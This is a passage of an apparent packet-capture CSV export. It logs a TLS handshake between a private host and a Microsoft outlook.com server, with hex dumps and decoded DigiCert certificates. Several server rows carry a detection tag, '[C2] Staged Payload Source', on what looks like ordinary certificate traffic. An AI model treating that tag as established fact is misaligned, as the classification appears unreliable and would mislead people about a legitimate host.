171e6753cb35bf16babf0feedd032ec85c7d8d80f51cb75209525f57ec8d10ddc3a4e7923009d34634b8383d79f461ebd1752b81f5b72c63ebc2d5acb1af1597ae4fea4a04e746130aa2238fed38e5e6423e2a49daee7f872b2f4210dad2bec178d6ddb3d12812dac0af7386a5a6253caef1cfd70339d142e95290274b6daff341fef1275f1bc0ec3bdc5c30368794281a81ffdaa1ba0b87869fcf9f7bc974fb79d870c220432bdedd63d1d0710ab1758da55ed1de171b800004cc308204c8308203b0a00302010202100cf5bd062b5602f47ab8502c23ccf066300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3231303333303030303030305a170d3331303332393233353935395a3059310b300906035504061302555331153013060355040a130c446967694365727420496e63313330310603550403132a446967694365727420476c6f62616c20473220544c53205253412053484132353620323032302043413130820122300d06092a864886f70d01010105000382010f003082010a0282010100ccf710624fa6bb636fed905256c56d277b7a12568af1f4f9d6e7e18fbd95abf260411570db1200fa270ab557385b7db2519371950e6a41945b351bfa7bfabbc5be2430fe56efc4f37d97e314f5144dcba710f216eaab22f031221161699026ba78d9971fe37d66ab75449573c8acffef5d0a8a5943e1acb23a0ff348fcd76b37c163dcde46d6db45fe7d23fd90e851071e51a35fed4946547f2c88c5f4139c97153c03e8a139dc690c32c1af16574c9447427ca2c89c7de6d44d54af4299a8c104c2779cd648e4ce11e02a8099f04370cf3f766bd14c49ab245ec20d82fd46a8ab6c93cc6252427592f89afa5e5eb2b061e51f1fb97f0998e83dfa837f4769a10203010001a38201823082017e30120603551d130101ff040830060101ff020100301d0603551d0e04160414748580c066c7df37decfbd2937aa031dbeedcd17301f0603551d230418301680144e2254201895e6e36ee60ffafab912ed06178f39300e0603551d0f0101ff040403020186301d0603551d250416301406082b0601050507030106082b06010505070302307606082b06010505070101046a3068302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304006082b060105050730028634687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63727430420603551d1f043b30393037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63726c303d0603551d2004363034300b06096086480186fd6c02013007060567810c01013008060667810c0102013008060667810c0102023008060667810c010203300d06092a864886f70d01010b0500038201010090f170cb289769977c74fdc0fa267b53abadcd65fdba9c069c8ad75a4387ed4d4c565fadc1c5b505202e59d1ff4af5a02ad8b095adc92e4a3bd7a7f66f8829fc303f2484bbc3b77b93072caf876b7633ed005552b2599ee4b9d0f3dfe70ffeddf8c4b910728109045fcf979e2e32758ecf9a58d257317e370181b2666d291ab166096dd16e90f4b9fa2f0114c55c566401d97d87a838539f8b5d466d5cc6278481d47e8c8ca39b52e7c688ec377c2afbf0555a387210d80013cf4c73dbaa3735a82981699c76bcde187b90d4cacfef6703fd045a2116b1ffea3fdfdc82f5ebf45992230d242a95254ccaa191e6d4b7ac8774b3f16da399dbf9d5bd84409f0798160001db010001d7308201d30a0100a08201cc308201c806092b0601050507300101048201b9308201b530819ea2160414748580c066c7df37decfbd2937aa031dbeedcd17180f32303236303631303037313834345a307330713049300906052b0e03021a05000414a7c4b8b3dc5bb5581ea7d7f13ac569f56f48d7890414748580c066c7df37decfbd2937aa031dbeedcd1702100590cbd365667f4104a9a2690c5b7c738000180f32303236303631303037303330305aa011180f32303236303631373036303330305a300d06092a864886f70d01010b05000382010100b6fed603e69fe282e50191ad3f69a91191bc0cd4e6586ef3a1b84365b132edca1dbb16ecb69b3ec0299d539644490c714f5eafedc7282beb8282aaf2fdf72f6860dc7097a7b7dc2d4f28a64deb0d59235713299f0a61fc42e97295123ddccccef64f89f71e3e8c15b46f2ca8046d5344a64e1419d7090677bc31669aa7c01699b1fa3c2e84836f58ff0b23bc5b6aa2f0d4f3362704f8b819c5c431b2fac242bf43e2739c8ef739492d2e89a620b80e8436fbebdde18379bc873288eba04810d264e29dccf4a33a2990b32cc6155a6423f8d0309afd94fc856cc0c7a82f685537f5ab0e5c4bdb84f40a12170e8983c59a690e48a9d0dd30df912e3f41bfdb827c0c00016903001861047e61bdd1d2ebb1d89250b0ec2198c5c95fc38ff9f7adadb224c711bdc11205607d5ee65f2096dea9,\".$.6\n..$.)....E.....@.@......!\n.......H.....4_P..?............f..j..2.l..\n.....Lz.]U..rt.DOWNGRD. .....~g....D..\"\"D.0+.....t.(....5.0........#.........h2...............\nM.\nJ..x0..t0..\\...........ef.A...i.[|s0\n.\t*.H..\n.....0Y1.0\t..U....US1.0...U.\n..DigiCert Inc1301..U...*DigiCert Global G2 TLS RSA SHA256 2020 CA10..\n260318000000Z.\n261002235959Z0j1.0\t..U....US1.0...U...\nWashington1.0...U....Redmond1.0...U.\n..Microsoft Corporation1.0...U....outlook.com0..\"\"0\n.\t*.H..\n..........0..\n...............5.....5...g.-..x.K.g.N...U|....p8r.e..kv\nji4^..>...g.....U..9.t...:.....iuP6.;...8....0+.20..8.(`...1.\t.....a....$.y..a..-.#.MO.@.*.....I.#...E;vL.Y.\nCpe.R..........$..\t....|Tz..|......a.E!....p ,..p.>.{..bG5?..f.U.U.....4...A...x.2..~.^......:..........%0..!0...U.#..0...t...f..7...)7.......0...U......vE......_.$U..`.....0.....U......0.....outlook.com.\n*.hotmail.com..*.internal.outlook.com.\n*.live.com..*.office.com..*.office365.com.\n*.outlook.com..*.outlook.office365.com..attachment.outlook.live.net..attachment.outlook.office.net. attachment.outlook.officeppe.net..attachments.office.net..attachments-sdf.office.net..ccs.login.microsoftonline.com..hotmail.com..mail.services.live.com.\noffice365.com..outlook.office.com..substrate.office.com..substrate-sdf.office.com0>..U. .70503..g.....0)0'..+.........http://www.digicert.com/CPS0...U...........0...U.%..0\n..+.......0....U.....0..0H.F.D.Bhttp://crl3.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0H.F.D.Bhttp://crl4.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0....+........{0y0$..+.....0...http://ocsp.digicert.com0Q..+.....0..Ehttp://cacerts.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crt0...U.......0.0..}.\n+.....y......m...i.g.v..1~WE..E..8...A...!Z\"\".....v...R......'.......G0E. e....\\Z:..#mc..'.<........K...y..!..a...#\\.:.8...C..o..Z....i.J:.N..u..\tU;.Oz....o.O.....^.U&....r.EK......'.......F0D. Y.<..L.B..6W...w..a..PV..8....... p.zN.%D..=..{<~..H.....q2$...H33.v..NC........$&..e..._8..?rg}U7........'.......G0E.!..\n..r....z6.\t..K..vxz....3.M=.... yF)[Ro.D...H.........\n...7*.`..\n0\n.\t*.H..\n...............-.......@M.|8%.s..P.iYl..&......t..I.3._n.$5.ol&Xv..V6t..zT;....r....gS.5..........\\}.....R\tR_W........0\t.F4.8=y.a..u+...,c.........O.J..F.\n.#..8..B>*I....+/B.....x....(....s...%<.....9.B.R.'Km..A..'_...;.\\06..(............{.t.y.p. C+..c..q\n.u..^........0...0..............+V..z.P,#..f0\n.\t*.H..\n.....0a1.0\t..U....US1.0...U.\n..DigiCert Inc1.0...U....www.digicert.com1 0...U....DigiCert Global Root G20..\n210330000000Z.\n310329235959Z0Y1.0\t..U....US1.0...U.\n..DigiCert Inc1301..U...*DigiCert Global G2 TLS RSA SHA256 2020 CA10..\"\"0\n.\t*.H..\n..........0..\n........bO..co..RV.m'{z.V............`A.p....'\n.W8[}.Q.q..jA.[5..{....$0.V...}.....M.......\"\".1\"\".ai.&.x....}f.uD.s....]\n.YC...:..H..k7.c..F..E.}#...Q..Q._.IFT.,.......<...9.i.2...WL.GB|...}..MT.B.....w..H....*...Cp.?vk.LI.$^.\n..F..l..bRBu....^^..a.....\t..=...Gi..........0..~0...U.......0.......0...U......t...f..7...)7.......0...U.#..0...N\"\"T ....n..........90...U...........0...U.%..0...+.........+.......0v..+........j0h0$..+.....0...http://ocsp.digicert.com0@..+.....0..4http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B..U...;0907.5.3.1http://crl3.digicert.com/DigiCertGlobalRootG2.crl0=..U. .6040..\t`.H...l..0...g....0...g.....0...g.....0...g.....0\n.\t*.H..\n............p.(.i.|t...&{S...e.......ZC..MLV_..... .Y..J..*......J;...o.).0?$....{..,..kv3..UR.Y..............r.\t._....2u...X.W1~7...fm)..f\tm.n..../...\\Vd..}..8S..]Fm\\.'...~....R....7|*..UZ8r.....Ls..75.).i.v...{.....g...Z!....?......Y.#\n$*.%L........t..m.......@...........0...\n......0....\t+.....0......0...0......t...f..7...)7.........20260610071844Z0s0q0I0\t..+.............[.X....:.i.oH....t...f..7...)7.............ef.A...i.[|s....20260610070300Z....20260617060300Z0\n.\t*.H..\n......................?i.......Xn...Ce.2........>.).S.DI.qO^...(+......./h`.p....-O(.M.\nY#W.).\na.B.r..=....O...>...o,..mSD.N...\t.w.1f.......<...oX..#.[j....6'......1...B.C.s...9I-... ...6.....y..2...H..d.....:)..,..Zd#..0.....l.../hU7...\\K...\n.......i.H...0...?A...|...i...a.~a.......P..!..._.......$......`}^._ ...\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 4088, \"\"id\"\": 1462, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 6032, \"\"src\"\": \"\"132.245.230.33\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63964, \"\"seq\"\": 1223497231, \"\"ack\"\": 193541215, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 7589, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Padding\"\", \"\"fields\"\": {\"\"load\"\": \"\"160303110b0200006603036a2eb9328a6cc68a0a18be92d2f74c7a185d55afe572740c444f574e4752440120a80e0000077e67e8e5a4e044a3822244fb302bfb9693a7ce7498289804e7ac35c03000001e000500000023000000100005000302683200170000ff01000100000000000b000d4d000d4a000878308208743082075ca00302010202100590cbd365667f4104a9a2690c5b7c73300d06092a864886f70d01010b05003059310b300906035504061302555331153013060355040a130c446967694365727420496e63313330310603550403132a446967694365727420476c6f62616c20473220544c532052534120534841323536203230323020434131301e170d3236303331383030303030305a170d3236313030323233353935395a306a310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311430120603550403130b6f75746c6f6f6b2e636f6d30820122300d06092a864886f70d01010105000382010f003082010a0282010100daf79983120e19dc01bd350592edf8cd3589ab8c67b62dd3bf787f4b0c67b94e1f8bd4557c05e1cf94703872b7659d9d6b760a6a69345ed1ce3eaced7f67a5dd8602ec55f3d3399c74fa02ec3a968dfee6e469755036a93bbc8cc638f1dab4b9302b893230a9b2388428609bd6f131ff09cae0ec1d93611bc7c9e2248f79b20c61fdee2ddf231f4d4fac401b2ab2d10ffed749e423ed16e7453b764cc559f40d43706510527fbfa6aa02cfe8dc87aa24cbe7098cccfaaf7c547a88917c16158bb7a9f761854521fa88bf9670202cd6ba70de3e167b85de6247353fc1a966b655f755d31dd9e40434f3979f4105f6de780b3200f77ed35ece89d60ec1183aa4bd0203010001a382052530820521301f0603551d23041830168014748580c066c7df37decfbd2937aa031dbeedcd17301d0603551d0e041604147645e5c3cb9cfefa5ffe2455e8bc60ddbeaa93e1308201bd0603551d11048201b4308201b0820b6f75746c6f6f6b2e636f6d820d2a2e686f746d61696c2e636f6d82162a2e696e7465726e616c2e6f75746c6f6f6b2e636f6d820a2a2e6c6976652e636f6d820c2a2e6f66666963652e636f6d820f2a2e6f66666963653336352e636f6d820d2a2e6f75746c6f6f6b2e636f6d82172a2e6f75746c6f6f6b2e6f66666963653336352e636f6d821b6174746163686d656e742e6f75746c6f6f6b2e6c6976652e6e6574821d6174746163686d656e742e6f75746c6f6f6b2e6f66666963652e6e657482206174746163686d656e742e6f75746c6f6f6b2e6f66666963657070652e6e657482166174746163686d656e74732e6f66666963652e6e6574821a6174746163686d656e74732d7364662e6f66666963652e6e6574821d6363732e6c6f67696e2e6d6963726f736f66746f6e6c696e652e636f6d820b686f746d61696c2e636f6d82166d61696c2e73657276696365732e6c6976652e636f6d820d6f66666963653336352e636f6d82126f75746c6f6f6b2e6f66666963652e636f6d82147375627374726174652e6f66666963652e636f6d82187375627374726174652d7364662e6f66666963652e636f6d303e0603551d20043730353033060667810c0102023029302706082b06010505070201161b687474703a2f2f7777772e64696769636572742e636f6d2f435053300e0603551d0f0101ff0404030205a030130603551d25040c300a06082b0601050507030130819f0603551d1f0481973081943048a046a0448642687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e63726c3048a046a0448642687474703a2f2f63726c342e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e63726c30818706082b06010505070101047b3079302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d305106082b060105050730028645687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e637274300c0603551d130101ff040230003082017d060a2b06010401d6790204020482016d048201690167007600c2317e574519a345ee7f38deb29041ebc7c2215a22bf7fd5b5ad769ad90e52cd0000019d0227fa81000004030047304502206503d2b3b95c5a3afb9c236d63a49827a23cff959c02b28693fa4b0ba1ff79f3022100926107971c235c133aa4381f9f1943c10e6f9f065a008a1cdd69c24a3ae84e9e007500d809553b944f7affc816196f944f85abb0f8fc5e8755260f15d12e72bb454b140000019d0227fab60000040300463044022059fb3ceca64c8642f90336570c90b37788e061fd0e5056d8983896d89b8f1898022070907a4ed12544ece63de2a47b3c7e1bbc48cd7f17cb88713224fd1d05483333007600944e4387faecc1ef81f3192426a8186501c7d35f3802013f72677d55372e19d80000019d0227fa8e0000040300473045022100bd0d16c172d297d7e77a360b09f5ac4b969076787aeaa5e5dd33894d3d11800802207946295b526fb444aeca904888e1aedaa188ade2b50abfb705372ad7601ac60d300d06092a864886f70d01010b05000382010100c8d99f18d82dbd8fdfd8d58dd4404db27c3825d173ec1750fc69596cf7f7268f13f7b982f074ddce49d333cf5f6e802435c86f6c265876cc895636741eec7a543bd2b4f58372d61a171e6753cb35bf16babf0feedd032ec85c7d8d80f51cb75209525f57ec8d10ddc3a4e7923009d34634b8383d79f461ebd1752b81f5b72c63ebc2d5acb1af1597ae4fea4a04e746130aa2238fed38e5e6423e2a49daee7f872b2f4210dad2bec178d6ddb3d12812dac0af7386a5a6253caef1cfd70339d142e95290274b6daff341fef1275f1bc0ec3bdc5c30368794281a81ffdaa1ba0b87869fcf9f7bc974fb79d870c220432bdedd63d1d0710ab1758da55ed1de171b800004cc308204c8308203b0a00302010202100cf5bd062b5602f47ab8502c23ccf066300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3231303333303030303030305a170d3331303332393233353935395a3059310b300906035504061302555331153013060355040a130c446967694365727420496e63313330310603550403132a446967694365727420476c6f62616c20473220544c53205253412053484132353620323032302043413130820122300d06092a864886f70d01010105000382010f003082010a0282010100ccf710624fa6bb636fed905256c56d277b7a12568af1f4f9d6e7e18fbd95abf260411570db1200fa270ab557385b7db2519371950e6a41945b351bfa7bfabbc5be2430fe56efc4f37d97e314f5144dcba710f216eaab22f031221161699026ba78d9971fe37d66ab75449573c8acffef5d0a8a5943e1acb23a0ff348fcd76b37c163dcde46d6db45fe7d23fd90e851071e51a35fed4946547f2c88c5f4139c97153c03e8a139dc690c32c1af16574c9447427ca2c89c7de6d44d54af4299a8c104c2779cd648e4ce11e02a8099f04370cf3f766bd14c49ab245ec20d82fd46a8ab6c93cc6252427592f89afa5e5eb2b061e51f1fb97f0998e83dfa837f4769a10203010001a38201823082017e30120603551d130101ff040830060101ff020100301d0603551d0e04160414748580c066c7df37decfbd2937aa031dbeedcd17301f0603551d230418301680144e2254201895e6e36ee60ffafab912ed06178f39300e0603551d0f0101ff040403020186301d0603551d250416301406082b0601050507030106082b06010505070302307606082b06010505070101046a3068302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304006082b060105050730028634687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63727430420603551d1f043b30393037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63726c303d0603551d2004363034300b06096086480186fd6c02013007060567810c01013008060667810c0102013008060667810c0102023008060667810c010203300d06092a864886f70d01010b0500038201010090f170cb289769977c74fdc0fa267b53abadcd65fdba9c069c8ad75a4387ed4d4c565fadc1c5b505202e59d1ff4af5a02ad8b095adc92e4a3bd7a7f66f8829fc303f2484bbc3b77b93072caf876b7633ed005552b2599ee4b9d0f3dfe70ffeddf8c4b910728109045fcf979e2e32758ecf9a58d257317e370181b2666d291ab166096dd16e90f4b9fa2f0114c55c566401d97d87a838539f8b5d466d5cc6278481d47e8c8ca39b52e7c688ec377c2afbf0555a387210d80013cf4c73dbaa3735a82981699c76bcde187b90d4cacfef6703fd045a2116b1ffea3fdfdc82f5ebf45992230d242a95254ccaa191e6d4b7ac8774b3f16da399dbf9d5bd84409f0798160001db010001d7308201d30a0100a08201cc308201c806092b0601050507300101048201b9308201b530819ea2160414748580c066c7df37decfbd2937aa031dbeedcd17180f32303236303631303037313834345a307330713049300906052b0e03021a05000414a7c4b8b3dc5bb5581ea7d7f13ac569f56f48d7890414748580c066c7df37decfbd2937aa031dbeedcd1702100590cbd365667f4104a9a2690c5b7c738000180f32303236303631303037303330305aa011180f32303236303631373036303330305a300d06092a864886f70d01010b05000382010100b6fed603e69fe282e50191ad3f69a91191bc0cd4e6586ef3a1b84365b132edca1dbb16ecb69b3ec0299d539644490c714f5eafedc7282beb8282aaf2fdf72f6860dc7097a7b7dc2d4f28a64deb0d59235713299f0a61fc42e97295123ddccccef64f89f71e3e8c15b46f2ca8046d5344a64e1419d7090677bc31669aa7c01699b1fa3c2e84836f58ff0b23bc5b6aa2f0d4f3362704f8b819c5c431b2fac242bf43e2739c8ef739492d2e89a620b80e8436fbebdde18379bc873288eba04810d264e29dccf4a33a2990b32cc6155a6423f8d0309afd94fc856cc0c7a82f685537f5ab0e5c4bdb84f40a12170e8983c59a690e48a9d0dd30df912e3f41bfdb827c0c00016903001861047e61bdd1d2ebb1d89250b0ec2198c5c95fc38ff9f7adadb224c711bdc11205607d5ee65f2096dea9\"\"}}]\"\n2026-06-14 14:22:43.187374,29,TCP 10.152.152.11:63964 -> 132.245.230.33:443,10.152.152.11,132.245.230.33,63964,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=193541215 Ack=1223501279,bc24112907bbbc2411360d0c0800450000288ef6400080065e1f0a98980b84f5e621f9dc01bb0b89345f48ed25df50100400f3cd0000,\".$.)...$.6\n...E..(..@...^.\n......!......4_H.%.P.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 36598, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 24095, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"132.245.230.33\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63964, \"\"dport\"\": 443, \"\"seq\"\": 193541215, \"\"ack\"\": 1223501279, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1024, \"\"chksum\"\": 62413, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:43.187401,30,TCP 132.245.230.33:443 -> 10.152.152.11:63964,132.245.230.33,10.152.152.11,443,63964,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > _TLSEncryptedContent,4,TCP PA Seq=1223501279 Ack=193541215,bc2411360d0cbc24112907bb08004500016805b940004006261d84f5e6210a98980b01bbf9dc48ed25df0b89345f5018003f0f150000f7e7b818f4b3595d40df264b0d2c61fce4175cd522de8e524b36561d53d328e7cd3da13ffb6ec67103505a2d68b3a41a62cc7570fafd061e08040100a01bb1c5258c2ee474909c50722eb96705f93864d33242416c2bef6e0bef30cde40ffc555af8fd50e52f1263d66245ef9df59da896c275ad9e8ed53d970c547082869e9ba361dc71aa097238257ad909e6213d4c0a1a4aa7da18aab0926ca7efe6b0b70fa82258f02fb33ebaeeda86eba4b1a884651de8405c5e111dcded2156d42ee5eb2c3b76fdc5039bea6eec740004e6ac15e08fe9f3d905979a09e1b2efcabbd67ce88993375144a33edbcb06b025279302888dc46e54fbce0b3cd6ab5929480e446a2f22d634e4502e0125cfbb96bbfa5617b12748134dc4ebfecc0ff18916bfb28c324176de4748567aff2d5d98ae363a687c8f4b015cb6cd332a0a000e000000,\"......Y]@.&K\n,a...\\.\"\"..RK6V.S.(..=.?.n.q.PZ-h...b.up............%...t..Pr..g..8d.2BAl+.n..0....UZ..P./.c.bE.......u....=..Tp.....a.q.\tr8%z.\t.!=L\n.J......l.......\"\"X./.>.........e..@\\^....!V....,;v.....n.t.............\t......|...7QD.>....%'.....nT...<..Y)H.Dj/\"\".4.P..%.....V..'H.M...........2Av.GHVz.-]..6:h|.K.\\..3*\n.....\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 360, \"\"id\"\": 1465, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 9757, \"\"src\"\": \"\"132.245.230.33\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63964, \"\"seq\"\": 1223501279, \"\"ack\"\": 193541215, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 3861, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"_TLSEncryptedContent\"\", \"\"fields\"\": {\"\"load\"\": \"\"f7e7b818f4b3595d40df264b0d2c61fce4175cd522de8e524b36561d53d328e7cd3da13ffb6ec67103505a2d68b3a41a62cc7570fafd061e08040100a01bb1c5258c2ee474909c50722eb96705f93864d33242416c2bef6e0bef30cde40ffc555af8fd50e52f1263d66245ef9df59da896c275ad9e8ed53d970c547082869e9ba361dc71aa097238257ad909e6213d4c0a1a4aa7da18aab0926ca7efe6b0b70fa82258f02fb33ebaeeda86eba4b1a884651de8405c5e111dcded2156d42ee5eb2c3b76fdc5039bea6eec740004e6ac15e08fe9f3d905979a09e1b2efcabbd67ce88993375144a33edbcb06b025279302888dc46e54fbce0b3cd6ab5929480e446a2f22d634e4502e0125cfbb96bbfa5617b12748134dc4ebfecc0ff18916bfb28c324176de4748567aff2d5d98ae363a687c8f4b015cb6cd332a0a000e000000\"\"}}]\"\n2026-06-14 14:22:43.187526,31,TCP 10.152.152.11:63964 -> 132.245.230.33:443,10.152.152.11,132.245.230.33,63964,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=193541215 Ack=1223501599,bc24112907bbbc2411360d0c0800450000288ef7400080065e1e0a98980b84f5e621f9dc01bb0b89345f48ed271f501003fef28f0000,\".$.)...$.6\n...E..(..@...^.\n......!......4_H.'.P.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 36599, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 24094, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"132.245.230.33\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63964, \"\"dport\"\": 443, \"\"seq\"\": 193541215, \"\"ack\"\": 1223501599, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1022, \"\"chksum\"\": 62095, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:44.293611,32,TCP 10.152.152.11:63964 -> 132.245.230.33:443,10.152.152.11,132.245.230.33,63964,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,PA,,,Ether > IP > TCP > TLS > TLS > TLS,6,TCP PA Seq=193541215 Ack=1223501599,bc24112907bbbc2411360d0c0800450000c68ef8400080065d7f0a98980b84f5e621f9dc01bb0b89345f48ed271f501803febc5400001603030066100000626104dbe77795294de5855b2c411e1b58b6f55f6869df122c093fbb27a06ba55c5ad51f20fffb1f56fcd1f41467679f4f98a73400a91a5ab774164c2a46579f80b14912fa378451e9bc47237384680bad5368600cc5bdbe48a0001bb8eb525dd4bdbb140303000101160303002800000000000000005ee6f4cfb1aa7422c021150e28e2181bfcfb5507d0c3cc76c7f4635178e58937,\"a...w.)M..[,A..X.._hi..,\t?.'.k.\\Z.. ...V....gg.O..4...Z.t.L*FW...I..7.Q..G#s.h..Sh`....H.....R]...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 198, \"\"id\"\": 36600, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23935, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"132.245.230.33\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63964, \"\"dport\"\": 443, \"\"seq\"\": 193541215, \"\"ack\"\": 1223501599, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1022, \"\"chksum\"\": 48212, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 102, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSClientKeyExchange  msgtype=client_key_exchange msglen=98 exchkeys=<Raw  load=b\\\"\"a\\\\x04\\\\xdb\\\\xe7w\\\\x95)M\\\\xe5\\\\x85[,A\\\\x1e\\\\x1bX\\\\xb6\\\\xf5_hi\\\\xdf\\\\x12,\\\\t?\\\\xbb'\\\\xa0k\\\\xa5\\\\\\\\Z\\\\xd5\\\\x1f \\\\xff\\\\xfb\\\\x1fV\\\\xfc\\\\xd1\\\\xf4\\\\x14gg\\\\x9fO\\\\x98\\\\xa74\\\\x00\\\\xa9\\\\x1aZ\\\\xb7t\\\\x16L*FW\\\\x9f\\\\x80\\\\xb1I\\\\x12\\\\xfa7\\\\x84Q\\\\xe9\\\\xbcG#s\\\\x84h\\\\x0b\\\\xadSh`\\\\x0c\\\\xc5\\\\xbd\\\\xbeH\\\\xa0\\\\x00\\\\x1b\\\\xb8\\\\xebR]\\\\xd4\\\\xbd\\\\xbb\\\"\" |> |>]\"\", \"\"mac\"\": \"\"\"\", 